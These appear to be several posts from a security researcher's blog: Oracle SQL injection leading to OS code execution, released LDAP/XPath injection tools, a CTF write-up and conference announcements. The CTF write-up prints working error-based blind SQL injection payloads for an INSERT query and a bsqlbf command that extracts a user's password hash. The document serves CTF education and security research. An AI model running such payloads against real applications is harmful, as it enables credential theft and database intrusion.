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It has been a long time since I posted something. In 2010, I released a paper which talked about how to execute OS code when exploiting a SQL Injection in a web app which talks to oracle database. Back then, I was not aware of 2 publicly available functions which could allow execution of PL/SQL statement. These functions change everything. These functions imply that we can issue multiple statements and overcome the limitations of oracle’s SQL language. Interestingly, these 2 functions exist from Oracle 9i upto 11g R2. While I am a little bit puzzled why I didn’t see these earlier, I have put together a few attack vectors in a new article/paper titled: Hacking Oracle From Web: Part 2

In a short summary, If you find a SQL Injection in a Oracle web app, you can issue multiple statements by calling one of the two publicly available functions. So, if the injection is in SELECT statement, you can run INSERT, DELETE etc. This also means that if the back-end database has any vulnerability, you can exploit it from the web and get higher privileges. Once you get higher privileges (typically become DBA) then you can execute OS code.

I have also made a small video which shows exploitation of a SQL Injection in an un-patched Oracle database.

Happy Hacking…

At this year’s Blackhat US, we conducted a small workshop titled “The Art of Exploiting Leser Known Injection Flaws”. In the workshop we discussed a variety of techniques for exploiting ldap, xpath, xml entity injection.

We also released a couple of tools for automating the attacks against LDAP and XPATH. These can be downloaded here:

http://code.google.com/p/ldap-blind-explorer/

http://code.google.com/p/xpath-blind-explorer/

There is a small video showing this in action here

Hope, you have fun exploiting XPATH and LDAP Injections with these automated tools.

I recently came across the Appsec USA CTF. I must say it was a fantastic CTF and i wish there were more CTFs around application security topics. Well done Appsec team and organizers.

The official write up on how the winners solved the problem can be found here. If you are an appsec personnel then you may want to read the rest of the blog after giving CTF another go.

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So, i wish i would have revisited the CTF later and have seen the hints! but anyways, I wanted to share an alternate solution to do the challenge. As it happens, the app has 2 sql injections, one in a select query and another one in Insert query. Obviously, the select query is pretty easy to exploit. Unfortunately, i wasnt clever enough to spot the injection in SELECT query and i worked out the hard way to exploit the insert SQL Injection and you actually don’t need the SELECT SQL injection and you can do everything within INSERT…:-)

here is the pseudo code:

INSERT INTO salerow(saleid,bookid,qty) VALUES(151576,1,injection\’)

clearly, the magic quote is enabled, but the injection is in integer, so doesn’t make much difference. You can use the True and Error scenario to exploit this:

INSERT INTO salerow(saleid,bookid,qty) VALUES(151576,1,(select case when (1=1) then 1 else 1*(select table_name from information_schema.tables)end))
–
INSERT INTO salerow(saleid,bookid,qty) VALUES(151576,1,(select case when (1=2) then 1 else 1*(select table_name from information_schema.tables)end))

Obviously you replace (1=1)/(1=2) with the boolean question you will ask the mysql server:

so a query like

INSERT INTO salerow(saleid,bookid,qty) VALUES(151576,1,(select case when (select substr(@@version,1,1))=5 then 1 else 1*(select table_name from information_schema.tables)end))

will not produce an error but a query like this:

INSERT INTO salerow(saleid,bookid,qty) VALUES(151576,1,(select case when (select substr(@@version,1,1))=6 then 1 else 1*(select table_name from information_schema.tables)end))

wil go to the else clause and will generate the following error:

Query failed: Subquery returns more than 1 row

So, now you have a standard true and false scenario and every time you see myql error, you have a false response and when you dont see an error you have a true response.

Using bsqlbf (with one slight modification) you can exploit this injection and obtain the password hash for sales user. The command line options i used were(together with burp running on port 8080):

bsqlbf-2.7pl -url “http://challenge.appsecusa.org/cart.php?action=purchase&qty1=” -blind qty1 -nomatch “failed” -method POST -database 1 -type 2 -cookie “phpsessionid=xxxxxxxxxxxx” -proxy http://127.0.0.1:8080 -sql “select password from users where id=2″

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Hope it helps..:)

An updated version is now available for download. This supports “-nomatch” switch. The -nomatch switch is exactly opposite of the -match switch, ie, it will look for the supplied unique keyword which only appears in the false page and NOT in true page. Remember, the “-match” looks for a unique string which only appears in true and do not appear in false cases.

The -nomatch switch is particularly useful which carying out injections in the following scenarios:

Injection in insert statement
True and Error Scenario
Injection in order by etc

Download it here

It has been a long time since i posted something here ; infact, so long that i even forgot the password for the blog

So, Just a small update on the things i have got lined up for the upcoming Conferences.

Training: Hacking and Securing Oracle database (2 days)
I am quite excited about jointly holding a training session at this years’s Blackhat with Alexander Kornbrust. The training is ideal for Oracle DBA and Developers. It wont be all about getting shells from back-end database, but we will try to address some more real life problems such as how to manage 1000 instances of back-end database, the built-in Oracle features which can be used to harden the database, some common coding flaws etc. More details including registration details can be found here

Workshop: The Art of Exploiting Lesser Known Injection Flaws
At the Blackhat briefings, me and Aleks (Aleksander Gorkowienko) will be conducting a workshop on some “not very commmon” injection flaws. These are LDAP, XPATH, XML external entity etc. We are still working on this and i will post more details later. In a nutshell there will be loads of challenges, CTF, some prizes to be won (may be!) and loads of fun.

Thats all for me, see you in Vegas!